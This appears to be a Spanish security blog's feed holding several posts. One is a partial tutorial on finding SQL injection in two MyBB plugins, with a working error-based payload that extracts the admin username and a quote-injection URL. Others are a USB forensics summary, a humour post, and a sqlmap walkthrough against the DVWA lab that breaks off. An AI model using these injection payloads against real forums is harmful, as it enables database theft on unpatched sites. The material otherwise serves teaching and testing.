<span style="color: red;">{</span></div>
<div>
<span style="color: red;">global $db;</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">$db->delete_query("templates", "title
IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND
sid='-2'"); // Line 27</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">require_once MYBB_ROOT."/inc/adminfunctions_templates.php";</span></div>
<div>
<span style="color: red;">find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);</span></div>
<div>
<span style="color: red;">find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}</span></div>
</div>
</span>')."#",'',0);
<div>
<span style="color: red;">}</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">function dymy_ua_dh_post_insert(&$data)</span></div>
<div>
<span style="color: red;">{</span></div>
<div>
<span style="color: red;">$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];</span></div>
<div>
<span style="color: red;">$data->post_insert_data['useragent'] = $useragent;</span></div>
<div>
<span style="color: red;">$data->post_update_data['useragent'] = $useragent;</span></div>
<div>
<span style="color: red;">}</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">function dymy_ua_postbit(&$post)</span></div>
<div>
<span style="color: red;">{</span></div>
<div>
<span style="color: red;">global $templates;</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">if(isset($post['browser']) &&
isset($post['system']) && !empty($post['browser']) &&
!empty($post['system']) && empty($post['useragent']))</span></div>
<div>
<span style="color: red;">{</span></div>
<div>
<span style="color: red;">$os = str_ireplace("icon_", "", $post['system']);</span></div>
<div>
<span style="color: red;">$browser = str_ireplace("icon_", "", $post['browser']);</span></div>
<div>
<span style="color: red;">$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);</span></div>
<div>
<span style="color: red;">}</span></div>
<div>
<span style="color: red;">...</span></div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:</div>
<div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
<div>
<span style="color: red;">function dymy_ua_dh_post_insert(&$data)</span></div>
<div>
<span style="color: red;">{</span></div>
<div>
<span style="color: red;">$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];</span></div>
<div>
<span style="color: red;">$data->post_insert_data['useragent'] = $useragent;</span></div>
<div>
<span style="color: red;">$data->post_update_data['useragent'] = $useragent;</span></div>
<div>
<span style="color: red;">}</span></div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
<div>
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de
desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y
tratar de analizar estos datos.</div>
<div>
</div>
<div>
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.</div>
<div>
</div>
<div>
Vamos a ver este lado de nuestro mensaje:</div>
</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/ROI8j.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/ROI8j.jpg" /></a></div>
<div>
</div>
<div>
</div>
<div>
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/MiU0F.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://i.imgur.com/MiU0F.jpg" width="367" /></a></div>
<div>
</div>
<div>
</div>
<div>
<div>
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.</div>
<div>
</div>
<div>
Después de algunas pruebas vamos a salir con esta consulta:</div>
</div>
<div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
<span style="color: red;">' and(select 1 from(select
count(*),concat((select username from mybb_users where
uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B));
#</span></div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/SdDgX.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://i.imgur.com/SdDgX.jpg" width="399" /></a></div>
<div>
</div>
<div>
</div>
<div>
<b><u>5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection</u></b>:</div>
<div>
</div>
<div>
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:</div>
<div>
</div>
<div>
<a href="http://mods.mybb.com/view/hm-my-country-flags">http://mods.mybb.com/view/hm-my-country-flags</a></div>
<div>
</div>
<div>
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/vVK2y.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/vVK2y.jpg" /></a></div>
<div>
</div>
<div>
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/4xALe.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/4xALe.jpg" /></a></div>
<div>
</div>
<div>
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP
Live copie la direccion URL
(localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y
pega esto en una nueva pestaña.</div>
<div>
</div>
<div>
Ahora ponga un ' después el país:</div>
<div>
</div>
<div>
<a href="http://localhost/mybb/misc.php?action=hmflags&cnam=Belgium%27&pf=5">http://localhost/mybb/misc.php?action=hmflags&cnam=Belgium'&pf=5</a></div>
<div>
</div>
<div>
Salida:</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
<div>
<span style="color: red;">MyBB has experienced an internal SQL error and cannot continue.</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">SQL Error:</span></div>
<div>
<span style="color: red;">1064 - You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''Belgium''' at line 1</span></div>
<div>
<span style="color: red;">Query:</span></div>
<div>
<span style="color: red;">SELECT * FROM mybb_users u LEFT JOIN
mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON
(u.uid=f.ufid) WHERE fid5='Belgium'' </span></div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/lf7gS.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="http://i.imgur.com/lf7gS.jpg" width="400" /></a></div>
<div>
</div>
<div>
</div>
<div>
<br />
Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.<br />
<br />
<div style="text-align: justify;">
<u>Tutorial PHP</u>:</div>
<ul>
<li><a href="http://php.net/manual/en/tutorial.php">http://php.net/manual/en/tutorial.php</a></li>
</ul>
<div>
<u>Tutorial MySQL</u>:</div>
<div>
<ul>
<li><a href="http://dev.mysql.com/doc/refman/5.0/en/tutorial.html">http://dev.mysql.com/doc/refman/5.0/en/tutorial.html</a></li>
</ul>
<div>
<u>Vulnerabilidades</u>:</div>
</div>
<div>
<ul>
<li><a href="https://www.owasp.org/index.php/Category:Attack">https://www.owasp.org/index.php/Category:Attack</a></li>
</ul>
</div>
</div>
<div>
</div>
<div>
<b><u>CRÉDITOS</u></b>:</div>
<div>
</div>
<div>
<i>Autor: Join7</i></div>
<div>
<i>Website: <a href="http://zentrixplus.net/">http://zentrixplus.net/</a></i></div>
<div>
<i> </i></div>
<div>
<i>Fuente: http://www.sniferl4bs.com/2014/06/encontrando-0-days-en-aplicaciones-webs.html </i></div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-811404624615422052014-11-29T21:18:00.000-08:002014-11-29T21:19:17.312-08:00Análisis forense a dispositivos USBBuenas.<br />
<br />
Revisando las diapositivas de las presentaciones del SANS DFIR Summit 2014, encontré uno muy bueno relacionado con el análisis forense de dispositivos USB, en este caso usando las nuevas clases de almacenamiento USB como por ejemplo la MTP que usa samsung en su gama media/alta, para ver a manera general su comportamiento podemos observar las siguientes imágenes:<br />
<br />
<br />
<img alt="MSC Device in Windows XP" class="size-full wp-image-65 " height="387" src="http://nicoleibrahim.com/wp-content/uploads/2013/09/image1.png" width="400" /><br />
<br />
<img alt="PTP Device in Windows XP" class="size-full wp-image-66 " height="400" src="http://nicoleibrahim.com/wp-content/uploads/2013/09/image2.png" width="399" /> <br />
<br />
<img alt="PTP Device in Windows 7" class="size-full wp-image-67 " height="162" src="http://nicoleibrahim.com/wp-content/uploads/2013/09/image3.png" width="400" /><br />
<br />
<img alt="MTP Device in Windows 7" class="size-full wp-image-69 " height="255" src="http://nicoleibrahim.com/wp-content/uploads/2013/09/image5.png" width="400" /> <br />
<img alt="MTP Mounted Partitions" class="size-full wp-image-70 " height="181" src="http://nicoleibrahim.com/wp-content/uploads/2013/09/image6.png" width="400" /><br />
<br />
<img alt="Windows7-USBChangesFirstInsert" class="alignleft wp-image-205" height="150" src="http://nicoleibrahim.com/wp-content/uploads/2013/12/Windows7.png" width="400" /> <br />
<br />
El estudio completo lo pueden obtener en el link de la fuente donde ha desarrollado varios post bien explicados sobre las distintas formas de realizar el estudio forense y la diapositiva del link que dejo a continuación<br />
<br />
Se puede descargar del siguiente link -> <a href="http://nicoleibrahim.com/wp-content/uploads/2014/06/USB-Devices-Media-Transfer-Protocol.pdf">USB Devices Media Transfer Protocol</a>.<br />
<br />
Fuente: http://nicoleibrahim.com/part-2-usb-device-research-msc-vs-ptp-vs-mtp/ Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-77667257169304861472014-11-29T19:25:00.000-08:002014-11-29T19:25:19.153-08:00Cómo reparar un Mac, un Linux y un Windows (humor)<div style="text-align: justify;">
Nos ha llegado por correo electrónico,
y cuya fuente original es The Oat Meal, esta divertida historia sobre
cuáles son los pasos para reparar un Windows, un Linux y un Mac. Como
están en inglés, hemos hecho una rápida traducción al Español que
esperamos que os haga tanta gracia como a nosotros, en este sábado
festivo.</div>
<div style="text-align: justify;">
<br />
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLoGy6no9ghDkqWIio898c9-LseCBTxuGb-SRe5_jXU_F8K9zPvkQBIIj3z2VlHggHQB2MkJGxjd6gpZX9vXaMG7EOkzRXL0YPsCm9Qtg7l3MbC-zGXb8eZB21Dm4bq_s8SWhbQkyXYeWr/s1600/Mac.gif" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLoGy6no9ghDkqWIio898c9-LseCBTxuGb-SRe5_jXU_F8K9zPvkQBIIj3z2VlHggHQB2MkJGxjd6gpZX9vXaMG7EOkzRXL0YPsCm9Qtg7l3MbC-zGXb8eZB21Dm4bq_s8SWhbQkyXYeWr/s320/Mac.gif" width="320" /></a></div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>PASO 1</b>: Llévalo a la Apple Store</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
¿Eso lo arregló? </div>
<div style="text-align: justify;">
¿No? Procede con el paso 2</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>PASO 2</b>: Cómprate un nuevo Mac</div>
<div style="text-align: justify;">
<i>Deja tu cuenta sin dinero.</i></div>
<div style="text-align: justify;">
<i>Llora en silencio</i></div>
<div style="text-align: justify;">
<i><br />
</i></div>
<div style="text-align: justify;">
<i><br />
</i></div>
<div style="text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIhhFIU7ZpjoAEvv5de-Te9gi8vB1ch0YaM62bxhQvP4p6skg5TP0sutmY0UP7SDBUVKsfFjlX-ZBdBhBPv3mvs-1stUudjk3EaHLz6N6jFveBhRxldOPePdvzTFeiGls03Xz47HT8KMSv/s1600/Windows.gif" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIhhFIU7ZpjoAEvv5de-Te9gi8vB1ch0YaM62bxhQvP4p6skg5TP0sutmY0UP7SDBUVKsfFjlX-ZBdBhBPv3mvs-1stUudjk3EaHLz6N6jFveBhRxldOPePdvzTFeiGls03Xz47HT8KMSv/s400/Windows.gif" width="270" /></a></div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<b> PASO 1</b>: Reinicia el equipo<br />
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
¿Eso lo arregló? </div>
<div style="margin: 0px; text-align: justify;">
¿No? Procede con el paso 2</div>
<div style="margin: 0px; text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
<br />
</div>
<div style="margin: 0px; text-align: justify;">
<b> PASO 2</b>: </div>
<div style="margin: 0px; text-align: justify;">
Formatea el disco duro.</div>
<div style="margin: 0px; text-align: justify;">
Reinstala Windows.</div>
<div style="margin: 0px; text-align: justify;">
<i> Pierde todos tus archivos.</i></div>
<div style="margin: 0px; text-align: justify;">
<i> Llora en silencio.</i></div>
<br />
<div style="text-align: justify;">
<br />
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4WTM7pdCz7mYsrkEH7i1uCzEBedITolG2lTNtThoga6MnB2m2VVX5ZsaUaNiePaKod_anLc6CSaUhdUQJIMp9dfLvyiSOGjQqZ94_aGLxCQllap1ZgIp8YQVxiC-0DttLVPi4NoKQnK8I/s1600/Linux.gif" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4WTM7pdCz7mYsrkEH7i1uCzEBedITolG2lTNtThoga6MnB2m2VVX5ZsaUaNiePaKod_anLc6CSaUhdUQJIMp9dfLvyiSOGjQqZ94_aGLxCQllap1ZgIp8YQVxiC-0DttLVPi4NoKQnK8I/s1600/Linux.gif" width="280" /></a></div>
<br />
<br />
<br />
<div style="text-align: center;">
<b>PASO 1:</b></div>
Aprende
a programar en C++. Recompila el kernel. Construye tu propio
microprocesador a partir de restos de siliceo que haya a tu alrededor.
Recompila el kernel otra vez. Cambia de distribuciones. Recompila el
kernel otra vez, pero esta vez usando una CPU alimentada con luz
refractada de Saturno. Déjate crecer una barba gigante. Blasfea contra
Sun Microsystems. Convierte tu cama en un armario de servidores y pasa
10 años adormilado por el sonido de ventiladores chirriantes. Escribe
una expresión regular que haría a otros programadores llorar sangre.
Aprende a programar en Java. Recompila el kernel otra vez (pero esta vez
con tus calcetines de la suerte puestos).<br />
<br />
<br />
<div style="text-align: justify;">
<div style="margin: 0px; text-align: center;">
¿Eso lo arregló? </div>
</div>
<div style="margin: 0px; text-align: center;">
¿No? Procede con el paso 2</div>
<div style="margin: 0px; text-align: center;">
<br />
</div>
<div style="margin: 0px; text-align: center;">
<b>PASO 2</b></div>
<div style="margin: 0px; text-align: center;">
Da marcha atrás y vuelve a usar Windows o Mac</div>
<div style="margin: 0px; text-align: center;">
<i>Llora en silencio</i></div>
<div style="margin: 0px; text-align: center;">
<i> </i></div>
<div style="margin: 0px; text-align: center;">
<i> </i></div>
<div style="margin: 0px; text-align: center;">
<i> </i></div>
<div style="margin: 0px; text-align: left;">
<i>Fuente: http://www.estacion-informatica.com/2011/04/humor-como-reparar-un-mac-un-linux-y-un.html </i></div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-64878812979074276062014-11-29T12:06:00.001-08:002014-11-29T12:06:38.705-08:00Sqlmap con DVWA (Aprende en entornos controlados) <h3 style="text-align: justify;">
El escenario de pruebas</h3>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Para probar la herramienta he elegido el entorno de pruebas <a href="http://www.dvwa.co.uk/">DVWA</a> (Damn Vulnerable Web Application). </div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ_vzsF-2ykDdfeUEuAm8FX_qhVWpulpSKXBPefcKiDJPP-aR6BfzZWDFnuCgFPsq5_77i8lj110iC-xYEyDokaOzYLQ4ec7l_X6lsFTZNHlX7LETtCnyUfI2bJPS6xyGrORQjEpmRthZu/s1600/1.PNG" style="margin-left: 1em; margin-right: 1em;"><span style="display: inline-block; position: relative;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ_vzsF-2ykDdfeUEuAm8FX_qhVWpulpSKXBPefcKiDJPP-aR6BfzZWDFnuCgFPsq5_77i8lj110iC-xYEyDokaOzYLQ4ec7l_X6lsFTZNHlX7LETtCnyUfI2bJPS6xyGrORQjEpmRthZu/s1600/1.PNG" width="400" /></span></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
La instalación del entorno es bastante sencilla y consiste en descargar
el ZIP desde su página Web y requerirá que tengamos PHP y MySQL. Tenéis
en <a href="http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson1/">este enlace</a> un tutorial con el paso a paso de su instalación.</div>
<div>
</div>
<div style="text-align: justify;">
Esta aplicación Web permite seleccionar el nivel de dificultad al que nos queremos enfrentar desde su apartado <b>DVWA Security</b>,
de este modo podemos ajustar el retor a un mayor o menor nivel y así ir
afinando nuestras habilidades. En nuestro caso la definiremos en nivel
medio para las pruebas que queremos realizar con sqlmap:</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIjLWRE26LtMYUT2ZBlpXEUCngAksCyiqUVAgwpQe3gYuf1Jtstv6s2uPddljHAciRH1rxN_66RNxaqsdFsEe9UjeGmLiWmen9fbaXLTJAcaPXahY0vW_u1uimuS6-tNwX6Xq-2uBj9Y8H/s1600/3.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIjLWRE26LtMYUT2ZBlpXEUCngAksCyiqUVAgwpQe3gYuf1Jtstv6s2uPddljHAciRH1rxN_66RNxaqsdFsEe9UjeGmLiWmen9fbaXLTJAcaPXahY0vW_u1uimuS6-tNwX6Xq-2uBj9Y8H/s1600/3.PNG" width="320" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<h3 style="text-align: justify;">
Reuniendo información antes de ejecutar la prueba</h3>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Una vez configurada la aplicación DVWA, veremos que para acceder es
necesario rellenar un formulario, los credenciales de acceso son usuario
<b>admin</b> y contraseña <b>password</b>:</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO696EvZWJ3cb1cpda00Au9GqB8-2Fnm0sg7yT_Qq0X-MR6WAUJghvaAmyC5r4M8iaB6WTNdQlPgT54l3ha7A8W_-twhpjyIiSZrIwP0JDgcZTgd8CthcqLcqjOoDgUt9AXcoiLb2HSTs7/s1600/2.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO696EvZWJ3cb1cpda00Au9GqB8-2Fnm0sg7yT_Qq0X-MR6WAUJghvaAmyC5r4M8iaB6WTNdQlPgT54l3ha7A8W_-twhpjyIiSZrIwP0JDgcZTgd8CthcqLcqjOoDgUt9AXcoiLb2HSTs7/s1600/2.PNG" width="320" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Si utilizamos un componente como Web Developer Tools en Mozilla podremos
ver las cookies que nos ha establecido el servidor Web al iniciar
sesión:</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_UqIqO4FDUaiHQgLqLEXAZTNDxJ3eOQ8FEHjc9TYZAQhEDCM88pnkev18HFq5HZvJDRvbWfUQMvxeFeCf8J6CJ4abBvvLBPohuwA_WK8qVtsFVVkaXffPZafA7po3xHKGA3VQX3m4hATD/s1600/9.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_UqIqO4FDUaiHQgLqLEXAZTNDxJ3eOQ8FEHjc9TYZAQhEDCM88pnkev18HFq5HZvJDRvbWfUQMvxeFeCf8J6CJ4abBvvLBPohuwA_WK8qVtsFVVkaXffPZafA7po3xHKGA3VQX3m4hATD/s400/9.PNG" width="400" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Una vez dentro nos dirigiremos a la sección de SQL Injection y a nada
que realicemos alguna prueba veremos que este nivel es fácilmente
explotable:</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKLqpwuceciIDScvfITu_AuJAbNIjuDIL-KAkb9ZJVtq8tAMAzL8-kaDt94JhquM3I18aXvs9WWL1Yvvf856CoB2jpGEbtHhJ3eNPHNnm5YaNAd44WApe3kDUw8qr5f4vud642vdAwNv__/s1600/6.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="253" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKLqpwuceciIDScvfITu_AuJAbNIjuDIL-KAkb9ZJVtq8tAMAzL8-kaDt94JhquM3I18aXvs9WWL1Yvvf856CoB2jpGEbtHhJ3eNPHNnm5YaNAd44WApe3kDUw8qr5f4vud642vdAwNv__/s1600/6.PNG" width="320" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Utilizando la técnica de identificación de columnas basada en ORDER BY
veremos que la consulta que se está realizando internamente espera 2
columnas:</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj9o-X0_GRP2NVIbaMXGAK-Jdnk3DRM0AzVWXHfjEfNvF-fSWJL-4Bv2LiuZhUkS09eRLpbBUH4UhBraDPQ2O3qJvF9A-VRO7GeMObeueTIbGgGXUPLZ-kkXoaRT7DDaF0M-Ot9W3m0uqA/s1600/7.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj9o-X0_GRP2NVIbaMXGAK-Jdnk3DRM0AzVWXHfjEfNvF-fSWJL-4Bv2LiuZhUkS09eRLpbBUH4UhBraDPQ2O3qJvF9A-VRO7GeMObeueTIbGgGXUPLZ-kkXoaRT7DDaF0M-Ot9W3m0uqA/s400/7.PNG" width="400" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Ya con el conocimiento del número de columnas podemos intentar la
explotación basada en UNION para obtener información por ejemplo del
usuario que ejecuta las consultas y la base de datos a la que se
conecta:</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_3sJ2i5H1ybfq5gzeOjS30M0USZzhIPOcu3d_pV6tVMXBaj4ND-BGXhH7h0oUMDbTc5hjGqFh2Sk7PNtHMnm6X4o_Q9lIZQJRUFSo2hFocEtUrW-7fCD3X8yAnSUBl21x7K0lfUpSqn3r/s1600/8.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_3sJ2i5H1ybfq5gzeOjS30M0USZzhIPOcu3d_pV6tVMXBaj4ND-BGXhH7h0oUMDbTc5hjGqFh2Sk7PNtHMnm6X4o_Q9lIZQJRUFSo2hFocEtUrW-7fCD3X8yAnSUBl21x7K0lfUpSqn3r/s1600/8.PNG" width="320" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<h3 style="text-align: justify;">
Continuando la explotación con sqlmap</h3>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Llegados a este punto hemos reunido la siguiente información:</div>
<div style="text-align: justify;">
</div>
<ul>
<li>Tenemos un motor de base de datos MySQL</li>
<li>Estamos almacenando las cookies</li>
<ul>
<li><b>PHPSESSID</b> (gestiona la sesión que tenemos iniciada)</li>
<li><b>security</b> (gestiona el nivel de seguridad configurado en la aplicación)</li>
</ul>
<li>El parámetro <b>id</b> es vulnerable a SQL Injection y se puede explotar utilizando la técnica UNION query</li>
<li>La base de datos a la que se conecta la aplicación se llama dvwa</li>
<li>El usuario que realiza las consultas SQL es root@localhost</li>
</ul>
<div>
</div>
<div>
Con toda esta información podemos afinar la explotación utilizando <b>sqlmap</b> y obtener de forma muy rápida el listado de tablas:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUFJzf5OdDTP0dTbg5eL40o9NSr0wWduXU7tD8WPZ96GNk62u-u8-cfVoH7rUZW1_Ze5BJqVJJ2PB433b0sBBrOclYmGv_gg08vrcpWS28s94cZXO6H1yWteCHDEwuj8UwO4NcG_C7Gua7/s1600/10.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="25" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUFJzf5OdDTP0dTbg5eL40o9NSr0wWduXU7tD8WPZ96GNk62u-u8-cfVoH7rUZW1_Ze5BJqVJJ2PB433b0sBBrOclYmGv_gg08vrcpWS28s94cZXO6H1yWteCHDEwuj8UwO4NcG_C7Gua7/s400/10.PNG" width="400" /></a></div>
<div>
</div>
<div>
Los detalles de este comando son los siguientes:</div>
<div>
<ul>
<li><b>--cookie</b> permite establecer los parámetros y valores que queremos enviar en la cabecera HTTP Cookie</li>
<li><b>-p</b> permite indicar el parámetro sobre el que se quiere testear la inyección</li>
<li><b>--dbms</b> permite establecer el motor de base de datos para evitar pruebas sobre otros motores</li>
<li><b>--technique</b> permite indicar la técnica de explotación:
Boolean-based, Error-based, Union, Stacked querys, Time-based. Tenéis
más información en su página de man.</li>
<li><b>-D</b> indica la base de datos que queremos analizar</li>
<li><b>--tables</b> para enumerar las tablas</li>
</ul>
<div>
<i><b>Nota</b>: Como ya conoceréis la potencia de <b>sqlmap</b> imaginaréis
que toda esta información que hemos obtenido de forma manual se podría
haber conseguido directamente con la herramienta, sin embargo es
importante que seamos cuidadosos y en todo momento controlemos las
técnicas que empleamos ya que podríamos dejar la aplicación analizada en
un estado inconsistente.</i></div>
</div>
<div>
</div>
<div>
El resultado del comando anterior nos devolverá una enumeración de las tablas:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBmpniCZ4Kg7N8Et5ruDfXfMCtv5_QwhMm4BLwhovQIC1L_3r2JLXDb2BOR9KC3z1urR-4XCEM7cwlQ2NAPWeNIxGYHXkfSNVHO25b0OEIxx4ZaTKeDZpPe2CqwzYROD_lrwcs5yTSEj-m/s1600/11.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="103" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBmpniCZ4Kg7N8Et5ruDfXfMCtv5_QwhMm4BLwhovQIC1L_3r2JLXDb2BOR9KC3z1urR-4XCEM7cwlQ2NAPWeNIxGYHXkfSNVHO25b0OEIxx4ZaTKeDZpPe2CqwzYROD_lrwcs5yTSEj-m/s400/11.PNG" width="400" /></a></div>
<div>
</div>
<div>
De modo que continuando con el ejercicio, podríamos realizar un dump de la tabla <b>users</b> utilizando el siguiente comando:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
